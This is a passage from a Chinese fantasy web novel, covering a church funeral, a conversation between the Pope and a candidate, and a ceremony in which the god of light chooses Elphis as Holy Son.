到头来,三人之中也只有温斯特对上了艾尔菲斯的脑回路。 回到殿中, 艾尔将之后的安排告诉他们,言明了会在教廷留一段时间,直到神明意志降临,赐予庇护后,才会继续中断的游历。 听到不久后这群神官要召请神明,心里有鬼的雷蒙一时没控制住表情,露出惊骇之色,不过另外两人皆有异色,所以他也不显得突出。 丹尼尔的葬礼应该在几日后,在此之前,艾尔菲斯就没有离开过他的住处,就怕在外晃悠的时候撞见了教皇,然后被迫友好交流一番。 不止他,除了个别被安排到事务的神官,其他人都是如此。 教皇在这个岁数看起来都温润可亲,很少露面管事,也不会特意泄露强者的威压,可以相信他年轻时确实如克列维奇所言那般纯粹单纯。 但与他年龄相仿的大主教们对教皇的事情了解更多,深知这位是真正的狂信徒,确实还和年轻时一样简单纯粹,纯粹到脑子里只有神明。 大主教们年轻时确实有着真挚的信仰,但权势让人堕落,有了足够强大的实力,就不需要祈求神明庇佑了,私欲渐深后,更谈不上虔诚了。 不少大主教都在心里暗骂教皇是个油盐不进的傻子,但多数时候在他面前都一声不吭,不止是碍于对方的实力,还因为看他“净化”暴露阴私的神官次数太多,像拔了一棵野草那么轻易冷漠,不受任何人情和势力的威胁,又没有弱点存在,这些伪信徒难免心虚。 艾尔菲斯就算老实呆在自己殿中,也并不觉得安心,候选人地位不一般,如果他是教皇,一定会想把人叫过来,更多地了解一下。 深夜,万籁俱寂,主殿中只余艾尔菲斯一人。 主厅桌上的灯还没有吹熄,有一点微弱的光散到床边,此时,青年深蓝温润的瞳色看起来更像冷漠的黑。 浓密的银发散落在床,薄被盖到胸口,但有只手正怪异的半举着,艾尔菲斯半垂着眼帘看着手,也不知道是指望看到什么。 借着元素感应身体内部的情况,细细研究、试探、控制,直到一点白光从心脏处被引出来,从左手掌心凝出,艾尔终于松了一口气。 这并非元素,而是信仰之力,自见过克列维奇院长,意识到某个境阶以上的强者都可以看到信仰之后,他就一直在研究这东西。 多日的尝试,他终于和融入心脏的信仰力建立了一点联系。观察了一会儿这个没有温度也没有能量波动的东西,发现它莫名的让人觉得是个好东西,想要。 除了会轻微影响人的心神,好像没其它用了……艾尔心念一动,掌心的白点往上飘去,非常听话。 有需要的话,可以分出一枚用来应付教皇和光明之神,甚至都不用真的给出去,每一枚都算别人赠予他的心意,他不想拿来利用,就让小白点飘到半空又回来好了,反正神明的信徒遍布世界,一定察觉不到他虚晃一招吧? 嗯……也可以分出一点送给塞缪尔,哄孩子开心。 行了,就这样吧,睡觉! —— 幸运的是,多年不管事,教皇似乎要忙于检查众多事务,也要安排一些事宜,并没有将新的候选人叫过去谈话,艾尔菲斯暂时逃过了一劫。 因为暂时不能带三个近身骑士出去认路,艾尔在殿中给他们画了地形图,介绍了教廷高层都住在哪里,哪些地方不能进,骑士常用的训练场地又在哪边,还介绍了几个好说话的守卫骑士的模样。 至于更强大的圣骑士,他们直属教皇,在艾尔的眼中就是别人的耳目,他一向敬而远之。 除了来历清白、没有任何异心的亚尔林会出去训练,雷蒙以“我留下,便于大人有事吩咐”的理由也一直躲在小殿。 至于温斯特,他一向是哥哥在哪儿他在哪儿。 因为前几日塞缪尔占据了身体指使了哥哥做事,温斯特碍于不能随便说话,哄不了人,道不了歉,抱怨不了某神,心里憋得慌,弄得整个小殿都很压抑。 雷蒙烦透了,可这又不是能打架的地方,只能暗骂这任务又麻烦又憋屈,真不是人做的…哦,他也不是人。 这样熬过了五天后,被派出去调查袭击的大主教,带着装着丹尼尔尸体的棺椁回来了。 这个世界不讲究下葬的时间,留一天告知了丹尼尔在外结交的熟人,请他们出席葬礼。也不需要挑地点,主教廷的边缘就有很大一块墓地,历任到了时限、或死于黑暗种族之手的神官,皆葬于此。 葬礼那天,各城的分廷在布道的时候将消息告知信徒,不少在圣光救世会受了丹尼尔恩德的平民都很伤感。 有人为逝去的年轻候选人流了泪,有人为他念颂词,有人向神明祈祷将他的灵魂接入神域,有人责备永远只会带来死亡的黑暗种族。 比起有些吵闹的分廷,主教廷中,与逝者接触更多的人却平静多了。 在将棺椁送去墓地之前,主教有让三个孩子来和丹尼尔做最后的告别,也是想让他们看看丹尼尔遭遇了何等邪恶的事情,让他们对黑暗种族加强警惕。 “艾尔,你年龄小,还没有机会见到沾染了暗魔法的生灵有多可怜,没想到第一次…竟是因为丹尼尔……” 埃德加叹了一口气,语气一肃,“让你们看到这样的画面,是希望你们会加倍小心,而不是退缩,放弃与黑暗作战。” 银发青年敛眉看着棺椁,“阁下,我们会谨记您的教导。” 黛芙妮:“神降之后,光明的主人会庇佑我们的,请不要担心。” 艾布纳表情复杂,“可怜的丹尼尔,如果有机会,我们一定会帮你报仇的……” 棺椁是用乳白色的沁凉矿石制成,刻出了缠绕于此的藤蔓和盛开的神光花,这是一个干净精美的容器,与之对比,躺在里面的尸体显得更加不堪。 年轻俊美的神官像是失去了体内的所有水分,发如枯草,露在神袍外的手指干如枯枝,眼窝凹陷,尚未闭上的眼睛已经浑浊,面容已经看不出原样,但仍能从被固定的肌理中看出他惊恐的表情,让人意识到,他死的非常迅速,没有一点反抗之力,甚至连表情都停留在了危险出现的那一刻。 “冕下,您也来见丹尼尔最后一面吗?” 教皇缓缓走来,他今日拿着法杖,看起来更庄重了一些,“嗯。” 见到来人,艾尔三人问了好,让开了位置。 男人垂眼看着逝者,并不言语。艾尔菲斯看了他一眼,很难说清对方是什么表情,没有遗憾,没有难过,但也不是漠然……他只能用复杂来形容。 法杖上端出现一点光亮,教皇伸手作出一划的动作,棺椁里的干尸以肉眼可见的速度变得血肉饱满起来。 他看着没那么恐怖的尸体,低声说着话,像是在自言自语,“这样,他的父母受的刺激会小一些。” 主教怀念地看着变得熟悉的相貌,“我替他们感谢冕下了。” —— 丹尼尔的性格很难交到挚友,最了解他的近身骑士只邀请来了几个因彼此身份才结交的表面朋友,但加上主教廷中的十多个神官,和地位同样不低的十多名圣骑士,还有逝者的年老父母和一双弟妹,人数不少。 本应会有一个体面的葬礼,但多数人都挂着没有情绪的脸,装都觉得没有必要装,让艾尔菲斯有些不适。 他已经在开始琢磨,回头就告诉温斯特他们,如果自己没了,就把他的尸体藏起来交给家里人,他可不想被埋在这片冰冷的土地。 第054章 第 54 章 肃穆的墓地间站着不少人, 但只有互相扶持的老夫妇发出了一些抽噎声,才为这一场葬礼添加了完整性。 丹尼尔的弟妹都还是少年人,被从小和大哥对比着长大, 但从来没见过大哥的两个孩子一直都对他有些怨念。 猝不及防的被带来参加葬礼,第一次知道大哥长什么模样, 那个格外陌生的亲人躺在方坑的棺椁之中, 两个孩子心情茫然又复杂, 或许还不如主教难过,但终究年龄不大, 受父母悲伤情绪感染, 还是不禁哭了起来。 神光花被木系大主教施了‘自然女神的恩赐’魔法, 使之百年不腐。 教廷的象征,那一支支代表光明的白色重瓣花朵被放置于逝者的胸口, 埃德加近来已经说不清叹了多少次的气,“虔诚又勇敢的孩子,神域一定会接纳你的灵魂。” 众人一一献花,最后是教皇上前几步, 俯身放下了神光花, 几缕白发垂下,遮住了半张脸颊,显得圣洁又温柔, 眼中有着浅淡的怜悯, 仿佛下一瞬就会消散无踪——就像神明一样, 居高临下地看着有趣的玩意儿被破坏了, 也只是道一声可惜, 却并不会真正放在心上。 艾尔原本以为丹尼尔那副姿态是学的神像,此时却觉得他是在模仿小时候接触过多次的教皇冕下, 可惜表现出来的只是高位者的施舍…… 若真能将教皇的气质仪态学个七七八八,丹尼尔在民众之间肯定会有更高威望——弱者必然会尊崇身具神性的人。 教皇放下白花,起身后挥手控制元素将棺椁盖上,土系大主教上前,泥土填平方坑,木系法师法杖一点,褐色土壤上凭空长出茵茵绿草。 眼前景色变得太快,逝者的家人一时震惊到忘记哭泣,若不是还有一块墓碑提醒着众人确实有不幸的事发生了,他们或许会以为自家孩子的逝世只是一场噩梦。 这里没有吃席的风俗,葬礼结束后,在场唯一的良善神官,埃德加主教,陪逝者的家里人去了丹尼尔的住处收拾东西,和他们谈一会儿话,其他人则想各自离去。 在顶头boss面前直接走人不太好,一众人迅速找了托辞。 教皇看着墓碑,温润棕眸在阳光下折射出金属的冷感,在别人打招呼离开的时候轻轻颔首,甚至都没有转头看人一眼,直到银发青年开口前,才侧过身来温和问道:“艾尔,愿意和我同路一会儿吗?” 他有拒绝的权力吗?吞下请退的借口,艾尔菲斯适当露出一点诧异和紧张,“当然,冕下,这是我的荣幸。” 两人并肩离去,后面的艾布纳眼巴巴地盯着艾尔菲斯的背影,希望兄弟机灵点儿,别暴露了大家的秘密。 走了没一会儿,教皇看了旁人一眼,微微失笑,“小家伙,我很可怕吗,你看起来有点紧张。” 艾尔眼皮一颤,别顶着比我大几岁的脸这么叫我啊! “不,冕下,您是非常温柔的人,您有一个干净圣洁的灵魂,所有人,当然也包括我,都是如此认为的,只是您太过强大,在我心中与神明无异,身为弱者,我难免有些紧张。” 男人唇角轻勾,“那你要快一点习惯了,你是最有可能成为圣子的人选,作为我的继任者,自然是要经常和我见面的。” “我……?”这次的诧异不是装的,艾尔不清楚自己哪点让对方这么认为,希望只是在逗他玩。 男人点了一下头,“我这几天从埃德加那里知道了你的一些事情,我认为,艾尔是神眷者无疑,或许,你就是能带教廷击溃所有黑暗、带我们赢得最终胜利的人。” 艾尔嘴角一抽,教皇是在给他画饼? 什么神眷,他就不能是运气好吗,就算真的有神眷顾,也一定是穿越大神和财神爷,反正不是光明神——艾尔不了解那位神祇,但他偏心,降下神谕害他弟弟受了这么多苦,艾尔菲斯直接就对祂没有好印象。 他腼腆地笑笑,“冕下,感谢您的鼓励,我会尽力达到您的期望的。” “好孩子…”教皇欣慰道。“埃德加告诉我,你前些日子去了没有建立分廷的地方游历去了,他也跟我说了你的想法,我很赞同,可以跟我说说那几日有什么特殊的经历吗?” 艾尔菲斯每年都有几个月时间在远离王城的地方瞎跑,他不是见到苦难必会相救的人,但遇到值得救的人,他还是会帮忙的,眼下突然被问起,他也不慌,随便从记忆中扒拉了几件好人好事、所见所闻讲给教皇听。 幸好这位冕下说同路一会儿就是一会儿,等路线不同的时候就和艾尔温和地道别了,没有跟着他回殿中继续聊。 一个人走在宽敞的道路中,青年缓缓地舒了一口气。 和谐交谈了一会儿,也没有被问到什么致命难题,他仍然没办法对那个温和的男人多一点亲近,总觉得和教皇隔了很远很远的距离,难以靠近…… 想起教皇看着神像时的样子,艾尔猜想,莫非那位是全心全意地侍奉神明,看其他人都是草木吗?对草木可以看一看,但没必要放在心上…… 艾尔菲斯认为教皇没有因为丹尼尔的去世而伤感,主教可不这么想,在黄昏之际送走了丹尼尔的家属之后,便到了冕下的殿中看望他。 埃德加清晰地记得,在他的那几个熟悉的同伴一一遇袭之后,冕下虽然也没有展露出多悲伤的表情,但头发却在不久后逐渐转白……埃德加想象不到他是伤神到了何等地步! 如今旧事重演,埃德加想着,陪冕下说说话,转移一下他的注意力也好。 “冕下,在与黑暗的斗争中,牺牲在所难免,请您节哀。” “嗯。”男人垂眸,目光扫过桌上的文书,其中内容赫然是艾尔菲斯的性格、经历、家世背景、往来较多的人,以及在圣光救世会的表现等等。 “埃德加,可以再和我讲一下艾尔这孩子的事情吗?” 主教心里松了一口气,不久后就要选出圣子,冕下自然该对所有候选人有所了解,有事情忙就好…… “当然可以,冕下。” —— 和教皇聊了半路,也不止是艾尔菲斯一个人在输出信息,临别之前,教皇也顺便提了一下,已经通知了各地的红衣主教前往此处,十天后,教廷就会请神明意志降临。 末了,教皇还打趣道:“艾尔见到我都紧张,如果吾神和你对话又该怎么办?所以艾尔要早些做好心理准备。” 这个消息,艾尔菲斯当然会和他的近身骑士们提起,也是在暗示其中两人,在那天离圣殿远一点,不要做些不符身份的事引来神明侧目…… 他不会怀疑,哪怕是一道意志,也能将整个主教廷、甚至整个王城的一举一动都纳入眼中! 当晚,艾尔看见温斯特散漫地坐在他对面,就知道副人格出来了。 “我要离开这里。” 亚希伯恩虽然看不破这具身体里的封印,但也没瞎到看不出祂原本的发色,还没有办法使出全部实力,祂傻了才留下来。 青年松了一口气,他本来也是要让弟弟离开的,“好,在开学之前,还是找个合适的地方磨炼剑术吧,有需要帮忙的地方,随时和我联系。” 某神点头,很满意小崽子的上道和不过多追问这一点。 第二天,雷蒙过来跟艾尔菲斯请假,眼中露出几分忐忑,“我父母非常想念我,正巧母亲的生日快到了,大人,我能离开半个月吗?” “……” 艾尔菲斯深深地看了他一眼,对雷蒙属于哪方势力有了些头绪。 第055章 第 55 章 雷蒙觉得这位主子挺好说话, 甚至觉得再跟在艾尔菲斯身边混个一年半载,他都要绷不住这幅骑士风范跟人勾肩搭背了。 正是艾尔对身边人没那么多规矩,加上他会在教廷待一段时间不需要人保护, 大家日常挺闲的,所以雷蒙才觉得告个假没问题, 不出意外对方会同意的, 如果出了意外…… 想到‘如果’真的发生所引起的麻烦, 雷蒙不由有些忐忑,尤其是银发青年正一言不发地打量着他, 那眼神……让他升起了战斗本能。 对于心虚的人来说, 对方没有回应的这点时间很漫长, 实则也才几个眨眼功夫而已。 艾尔疑惑道,“离开这么久的话, 你就要错过神迹降临了,或许这辈子只能见到这一次,错过了不觉得可惜吗?” 青年面容柔和,贴心道, “等见过了神迹, 我们就可以继续游历了,到时候你可以回家和父母讲讲这里发生的事,能够沐浴在神的光辉之下, 我相信他们一定会以你为傲。对了, 我的伙伴, 你一定不介意带我们去你的家乡看一看, 拜访一下叔叔和叔母, 对吗?” “……”雷蒙面部肌肉抽动,被堵的哑口无言。 刚才所想没错, 这个人族小子确实好相处,但是你也不用过于贴心友好了吧?! “当然不介意,大人,我很高兴您记挂着我的父母。不过…那只是一个平凡的小城而已,没什么可看的,您不必奔波到这样的地方。” “我也很想留下来见证神迹,但是除了要赶上母亲的生日,我的祖母还摔折了腿骨,父亲联络我的时候说她时刻犯疼,我想快点送些好用的魔药回去。” 雷蒙的凶恶气质跟这些说辞就很不搭,不过这幅急切模样看起来跟真的似的。 艾尔菲斯见他额头已经急出细汗,怀疑再逗下去,雷蒙可能会“坦白”出他有一个妻子即将临盆。 青年遗憾点头,“好吧,如果你坚持的话,我就允许你离开半个月,雷蒙,你真是一个孝顺的人。” 骑士露出一点如释重负的笑容,微微欠身,“感谢您的宽容。” 能早点离开就没必要在小殿干呆着浪费时间,雷蒙第二天就一身轻松地走了。 长时间坐在室内很枯燥,和告假的骑士道别后,艾尔菲斯就沿着白色小殿的草墙里边散步了,早晨的金色阳光能让人精神一振,心情无端的愉悦了一点。 白净指尖从路过的花丛浅浅触碰而过,高挑俊美的神官顺便就让一些有枯败迹象的花草恢复成最美的时刻。 不远处的仆从目光跟随着大人走动,只遗憾这幅赏心悦目的景色不能变成画永久流传! 两枚信仰陆续飘到银发青年的身上,他视若无睹,步态如初——已经习惯了,这几年只是偶尔和他们聊聊,也不知道为什么对他抱有这么强烈的感情。 温斯特打算再陪哥哥几天,还不急着离开,此时正落在对方身后两步跟随着,他烦透了这个需要避人耳目的地方,都不能站在哥哥旁边。 亚尔林,艾尔菲斯真正的、唯一的骑士走了过来,“大人,需要我跟着他吗?” 他指的是雷蒙,艾尔菲斯还在学院的时候就提醒过他要防备一下雷蒙,在这么特殊的时期离开,不用大人多说,亚尔林也能察觉到此人异常。 虽然算不上朋友,但同班几年,又作为同僚一起接受了几个月的训练,亚尔林对雷蒙还是有些了解的,就比如……他告假的理由听着不错,但和他的性格作风全然不符。 “不用了,他不会在外面做什么的。”他背后的势力都没有直接和教廷对抗的能力,又怎么敢密谋在神降那天,在神明眼皮子底下搞事? 艾尔菲斯猜测他多半是和温斯特一样,需要避开神明意志的感知范围。 那么问题来了,神明并非真的看谁一眼就能知晓蝼蚁的全部,否则这么多违背教条的神官哪敢出现。 他也不信教廷中没有其它势力的奸细,越是重要的时刻他们越不想错过,怎么就雷蒙想跑?除非他有瞒不过神目的破绽…… 黑暗种族吗?还是人族暗系法师?不确定,再观察看看。 —— 几千神官之中,至少要到红衣主教级别,才能进入主教廷见证神迹降临,牧师则要留守分廷。 这里是有古老的尖顶住宿楼专门容纳大量来访者的,几日后,原本宽阔冷清的建筑群走哪儿都能看见神官的身影。 能被允许进入主教廷的机会一辈子都可能遇不到一回,但凡神官,谁没有憧憬过这个与神明有最多联系、汇聚了人族顶尖战力和权势的地方?他们幸运收到邀请,怎么也要游览一圈才行。 路上遇到的都是同行,很有话聊,三三两两结伴而行,气氛和谐。 召请神明是为了选出圣子,候选人们作为高层,当然要露面让分廷的人认识一下,所以埃德加不允许三个孩子在屋子里躲清静,要去外边走一走,陪偶遇的红衣主教们聊一聊。 七百多位红衣主教,随便在路上碰几个不是中年人就是老年人,让艾尔菲斯觉得他在带着中老年旅行团参观历史建筑。 离王城最远的分廷主教都已经赶到,再过两天就是请神日,温斯特不得不离开了。 在无数人想进教廷的时刻,他的骑士们一个个地走人未免太奇怪,不确定有没有别人的耳目在收集他的动向,以防万一,艾尔菲斯已经给弟弟找好了理由。 “我父亲邀请了一位很强的剑师好友来了王城,学了他的剑招正能弥补你的缺点,不过昨天联络父亲的时候听说那位阁下要离开了,你尽快回庄园一趟请教一下吧。”他说的确有其事,不怕教廷会暗查。 因为被提醒了要谨言慎行,温斯特没有再称呼哥哥,更没办法给出临别的拥抱……都是自己太弱了,才会受这些束缚! 温斯特脸色不虞,但是看向艾尔的时候却转为坚定,声音低沉悦耳,“我会努力尽快变强的,以后不管发生什么事,都能一直保护在你身边。” 艾尔听得手痒,想摸摸弟弟的头,但只能欣慰地鼓励道:“以你的天赋,百年之内修成剑神也是可能的。我在这里没有危险,你不在也没关系,干脆今天就过去找人吧。” 艾尔也顺便关心了一下他的真·近身骑士,“亚尔林有意的话,可以和温斯特一起。” 气质冷淡的年轻人沉思一瞬,以他现在的实力确实还不够看,要尽快提升才行,他对神迹也不感兴趣,就算留下也进不了圣殿,没什么新奇的事情可以看到…… 见亚尔林应下,艾尔也不觉意外,剑师对神明远不如普通人和法师那么尊崇。 没有什么行礼可以收拾,谈完之后,两个骑士就直接当着几名仆从的面离开了。 —— 为了避免神迹突现引起王城骚乱,教廷已经提前令人散布了消息,这么大一件事,很快就一传十,十传百,全城皆知。 王城多的是权贵和强者,但教廷并没有请外人前来面见伟大的光明之主,借此威慑外界巩固地位。 虽然大几百的神官之中,虔诚不足,无法凝出一枚信仰之力的人有不少,但教廷仍然对外宣称为表敬意,他们不会允许非信徒的人出现在神明的注视之下,包括君主,和几位剑神法神都不会收到邀请。 这一日终于到来。 天朗气清,早晨的金色阳光给古老的建筑群增添了一抹辉煌之色,所有花草都被施展了木系魔法,盛放出馥郁芬芳,还沾染着晶莹的露珠,找不到一片枯叶残花。 高大魁梧的圣骑士们身戴铠甲头盔,气势凌人,围绕着圣殿,背对而立。 折射出寒芒的利剑垂直支地,他们双手交叠放于剑柄之上,眼神警戒,显然已经做好了随时提剑应对意外的准备。 神官们脸色肃穆,头发打理得一丝不苟,素净神袍几乎没有褶皱,一个个安静地走进了圣殿。 神像垂下眼眸,它目光所在的方向就是众信徒跪拜之地。 三个候选人并列在最前方位置,甚至连大主教都在他们五六米之后,候选人足够显眼,光明之主在挑选圣子的时候眼中就不会出现太多“杂物”。 跪着,加上心里紧张难安,艾尔菲斯有种即将人头落地的感觉…… 除了神像,唯有教皇一人在候选人前面,艾尔菲斯的注意力便基本放在他的举动上。 教皇的外貌是好看的,也可以用颜色浅淡来形容,他今日穿着暗紫纹神袍,比平日更亮眼了一些。 因为背对着众人,艾尔看不见教皇的表情,却察觉到他身体有些僵硬,行动间也有着不明显的滞涩,艾尔竟觉得他比自己还紧张。 这位先前不是已经经历过两次了吗?上次在圣殿见到教皇,对方正悉心地擦拭着神像,他还以为教皇对神明多有亲近之意…… 背对众人,唯一站立的夏佐呼吸略微紊乱,握着法杖的手因为用力过紧,挤压出一道道白痕。 白发男人轻轻地吸了一口气,举起法杖,大量的光明元素汇聚成河流,从四面八方奔涌而来,法杖点地,指引元素进入了冰凉光洁的地面。 他流畅地念着众人听不懂的语言,很快,以神像为中心,空旷圣殿的地面亮起了巨大的,繁复的纹路。 艾尔菲斯看了一眼出现在他腿边的复杂笔画,这……好像温斯特之前教了他一阵子的神语啊。 他曾经以为记住所有打过交道的人的名字是最困难的事情,直到开始学习神语,艾尔才知道他还是经历少了——温斯特用神语翻译写下的一段咒语,每个字都笔画不少,显的很挤,这也没什么,问题是……它们有区别吗??? 稍微玩了一会儿“找不同”的游戏,艾尔确认了,哦,还有区别的,但不多。 世上无难事,只要肯放弃,他对没兴趣的东西上记忆力很差,索性就只让温斯特翻译了几个魔法咒语,一遍遍地教他念。 经过对比,艾尔确认了神语吟咒确实比古语的威力要大一些,以后就要劳烦弟弟当他的翻译机了。 艾尔菲斯不认识地面上的字是什么意思,但这复杂又熟悉的笔画,还有教皇口中吟出的语调,是神语无疑。 亮起的召唤阵带来了强大的威压,众人心中惶惶,情不自禁地绷紧了肌肉,感觉他们就是一群即将被巨兽踩死的蝼蚁。 不敢再仰视着神像,神官们埋着头,刚才还算挺直的背梁弯曲了不少——此刻,他们就像是一群贫困、无能、被苦难击倒的普通人,在卑微地祈求神明庇佑…… “无处不在,无所不往的光之精灵,请将此语带到你主人的耳边……” “您的双目可辨真假,您的利刃裁决罪恶,您的神力用作守护,您的意志是信徒的明灯…” …… “您的信徒夏佐,和众多神官一起,祈求、等待光明的化身,亚希伯恩降临于此——!” 连呼吸都轻到听不见的神殿中,教皇的声音格外清晰,可惜…连他自己都不知道这段召唤咒语是什么意思,除了改动了召唤者的名字,其它的都是上一任教皇教他记下来的。 话音结束后,很快,圣殿上方,蔚蓝天空像是忽然被撕裂出一个巨大的黑色缝隙,形状像是一只没有眼白的眼睛,大到一瞬间就引起了整个王城的注意,顿时尖叫四起,小孩儿啼哭。 “啊——” “那是什么?!里面会不会飞出很多恶魔!” “这里离学院近,快过去避难啊!” …… 幸好教廷和王室都安排了骑士巡逻,他们及时做了解释,民众才想起了请神的事情……恐惧变为紧张、好奇和敬畏,王城各处很快就跪倒了一大片的民众。 即便搞清楚了这是神迹,那个缝隙仍然给人一种会走出恐怖吃人巨兽的感觉,是以没有平民敢靠近,皆是在远处祈祷。 缝隙出现浅淡金光穿透了白云,向下界散开,覆盖了整个王城,暖色驱散了一点恐怖感。 缝隙中洒出了许多洁白的羽毛,轻盈地飘向各方,只有一片特殊的金色,有目的性地飘进正下方的圣殿,落于白色神像之上,触而消失—— 那双居高临下的眸,白色的瞳孔转为浅金,明明雕刻出的细节没有丝毫变化,神像原本展露出的怜悯却一点不剩。 低着头,不知殿外和神像的情况,艾尔菲斯忽然有一种被高维生命审视的颤栗感。 第056章 第 56 章 “吾神, 打扰您的沉眠,请您降罪。” 感到毛骨悚然的那瞬间,众人就意识到了什么, 此刻听见教皇冕下出声,心中的好奇消失殆尽, 全然不敢抬头看一眼发生了什么…… 很奇怪, 光明之主是仁慈又公正的善神, 对人族有大恩德,他们应该热情、虔诚地诉说自己的心意, 然后神明会欣慰于此, 主仆两方相谈甚欢, 就像今日来圣殿之前想象的画面那样…… 可事实上,那股强大的威压带来了见到天崩地裂的恐惧感, 众人心跳不稳,恨不得原地消失,快些避开这危险存在……神明终究是神明,岂是蝼蚁能靠近的! 害怕的同时, 尊崇也在加深——这就是我信仰的存在啊, 祂是一位强大的,无所不能的神!我以信仰光明之主为傲! 几百白色光点飘向上空,并未落到神像之上, 而是飞进了圣殿上方的缝隙中。 教皇不露声色的在心里松了一口气, 这样一来, 教廷看上去就依旧是衷心的, 也不至于被吾神舍弃。 众人只听在教皇出声, 在几个呼吸之后,终于收到了迟来的回应—— “夏佐?” 那道声音好像是从十多米高的神像上方传来, 也好像是来自更高的地方,音色是略微低沉而磁性的好听,但距离减轻了这份沉,听起来更轻缓缥缈,遥不可及,与之相反的是,神威是切实压迫在众人身上的! 被注视着,被叫出名字的那一刻,男人长袖中的拳头收紧,指甲陷入了手心,但面上只有恰到好处的欣喜,他右手置于心口,欠身行礼,克制而沉稳,“是,我是夏佐,很荣幸被您记住了名字,回应了信徒的召请。” 神明的回应仍然慢了一拍,有种刚从深沉睡梦中醒来的慵懒之意…… “离上次见面,过了多少年了?” 众人听到此问,心中只有一个感叹——古老的神明原来真的可以一睡千年…… 祂们并不真正将万事变迁,从属消亡放在心上,多数生灵营营逐逐、悲欢离合的一辈子,不过是神明消遣无趣光阴的一小觉时间罢了…… 艾尔菲斯埋着头,比同僚们多想了一点:哦,怪不得大主教们敢在背地里做那些事,原来是清楚神明根本没在盯着他们啊。 想来等这批红衣主教回去,私欲再发酵几年后,多数人都会胆大到挣脱教条的束缚。 “已经一百四十七年了,吾神,希望您做了一个好梦。”回话的时候,教皇强撑着头颅,仰面对上了神像那双有了灵性的眼睛。 “似乎对人族来说,已经过了许久了,你还活着…” 这话并无恶意,教皇知道,他的神明只是很少能接连几次醒来后见到同一个人,随意感叹一下罢了。 “是的,吾神,托您的福,您当年赐予我的庇护,助我从一场致命危机中幸存下来。” 神明并不关心信徒的经历,没有多问一句是什么样的危机,目光落在了年轻人变得雪白的长发上,“虔诚的孩子,光明元素很喜欢你,这一点对你突破境阶很有利,相信我下次见到你的时候,会是在神域之中,对吗?” 因为激动,教皇那张病态白的脸上泛起一抹红意,但表情仍然沉稳庄重,他看着神明,作下保证,“我不会让您失望的。” 艾尔菲斯早在一开始教皇和神明对话的时候,就抓心挠肺地好奇了——发生了什么?光明神真的现身了吗?是和神像一个模样吗? 奈何眼角余光中的艾布纳和黛芙妮都老老实实低着头,他也不好表现的太突出引来注意,只能老实跪着,看着膝前的地板。 双手一直竖在胸前做祷告姿势挺累的,也不知道二位还会寒暄多久……教皇作为粉头,好不容易见到偶像了,可别把正事忘了。 虽然艾尔并不想面对这件正事,但人都在这儿了,还是早死早超生吧。 深知神明不会有跟蝼蚁多谈的心情,教皇下一句便主动提及了召请祂的原因—— “圣子一位空缺已久,在我去往神域之后,需要有新的教皇带领您的信徒继续与黑暗抗衡,这三个孩子虽然境阶不高,天赋却很好,在我离开之前,必然能成为实力合格的领袖。” 他话音一落,艾布纳三人再次感受到了那种如刀锋划过脖颈的危险审视。 男人看了一眼后方的三名年轻人,眉目柔和,他转身走到他们的身侧,将手放在边上的头顶,亲昵地摸了一下候选人的脑袋,又仰头看向神明,“吾神,我为您介绍一下他们吧。” 被温热手掌抚过头顶的艾尔菲斯只觉头皮发麻…… “这是艾尔菲斯·兰开斯特,二十一岁,从小被一位神官抚养长大,是教廷中年龄最小的信徒,具有满级元素亲和力……” 银发青年在犹豫要不要抬头问个好,教皇简单地介绍完了他,鼓励道:“艾尔,不要紧张,你知道吾神是宽容仁慈的,不是吗?抬起头,让祂看一看你。” “……”他好像变成了一件正在被挑选比较的货物。 艾尔菲斯听话地仰首看着上方,没有神明的身影,唯一的变化就是神像那双转为暗金色的眼睛,让本就栩栩如生的神像好似在下一刻就要冷淡地撇开头,不去留意脚下的蝼蚁…… “伟大的光明之主,信徒很荣幸能聆听到您的声音。” 因为这个人族的某种特别,神明看他的目光比看教皇要仔细一些……那张漂亮的脸上有着显而易见的紧张、喜悦和濡慕之情——但心中没有对祂的信仰。 艾尔犹豫过要不要当面分一枚信仰飘到天上,但他注意到黛芙妮和艾布纳都没有凝出,他又怎么可能去当一个出头鸟。 神明并没有不虞,教廷中的伪信徒不少,甚至他们本人可能都没有意识到自己心意不诚。 祂不缺那一枚两枚的信仰之力,因此并不在意,只是工具而已,能做事就行了,而对于用处更大的艾尔菲斯,神明会更宽容一点—— “难得出现这么有天赋的孩子,这是你们人族的幸运。” 教皇勾起唇角,欣慰道,“多亏光明的眷顾和指引,让艾尔在幼年时被我们的神官收养。” 而后,教皇又提到了艾布纳和黛芙妮,对三人的介绍不偏不倚,“吾神,我们需要您指明道路,您认为他们之中,有适合成为我继任者的孩子吗?” 埃德加主教在后方,眉间浮上几分苦涩,他无声地叹了一口气,刚被敌人所害的丹尼尔,他那么期待见到信仰的光明之主,如今却连被提及的资格都没有了…… 神明不需要更多的了解,似乎只是简单地审视了几息之后,那道遥远的声音终于传下了旨意—— “我看见了一个心性纯净,受万众生灵偏爱的孩子……” “艾尔菲斯,你应成为一个诚实、公正、永远拥有一颗怜悯之心的光明圣子。” “你不应辜负光明元素对你的偏爱,要清心修行,成为信众们强大的庇护者和引领者。” “你要发誓,以镇压邪恶的黑暗种族为终生职责,英勇无畏,永远坚守初心,不被黑暗污染蛊惑。” “你可以做到吗?” 青年不可置信地看着上方:“……” 啊?我?为什么啊?!不知道被看上了哪点,现在改还来不来得及! “吾神,很高兴得到您的认可,但我不确定……”银发青年犹疑地低下了头,“若无意外,我还会活至少两百年,漫长年岁中,我不知道以后会不会有特殊的经历改变了我,让我不再拥有光明所喜爱的美德,也不知道自己能不能成为一个优秀的引领者……” 潜台词就是,我不够坚定,随时有背弃职责的可能,我也没有掌控教廷的野心,让我当圣子,以后继任教皇,这个势力以后可能会散。 旁边的艾布纳和黛芙妮心中一紧,怕圣子之位落到他们头上,但自己可没艾尔这样的勇气试图推脱! 后面的主教们都感到不可思议——顺势应下就能成为教皇冕下的继任者了,他怎么能在这种情况下说出这番话?! 神明沉默片刻,轻笑了一声,“但凡是智慧种族,总会被时间改变一些东西,你能主动提出来,反而证明了你的勇气和诚实。”祂温和地夸赞着,神目中依旧没有什么情绪。 “夏佐,你有一个出色的继任者,好好教导,等你前往神域之后,就不必担心了。” 教皇欠身行礼,“是,夏佐会尽心教导这孩子的。” 艾尔眼皮一跳,他好像还没答应吧?你们就这么定下了!这算不算强买强卖?! 摆明拒绝的话就显得太不识好歹了,他也不想赌这么做会不会触怒神明,眼见结果已定,他被安排的明明白白,艾尔气的头脑发懵! 这时候,一大片白色羽毛飘落下来,没入了众多主教们的身体中,有三片特殊的金色进入了三个年轻人的身体里,他们看不到,自己的额头上浮现出一个圆形印记,很快又隐了下去。 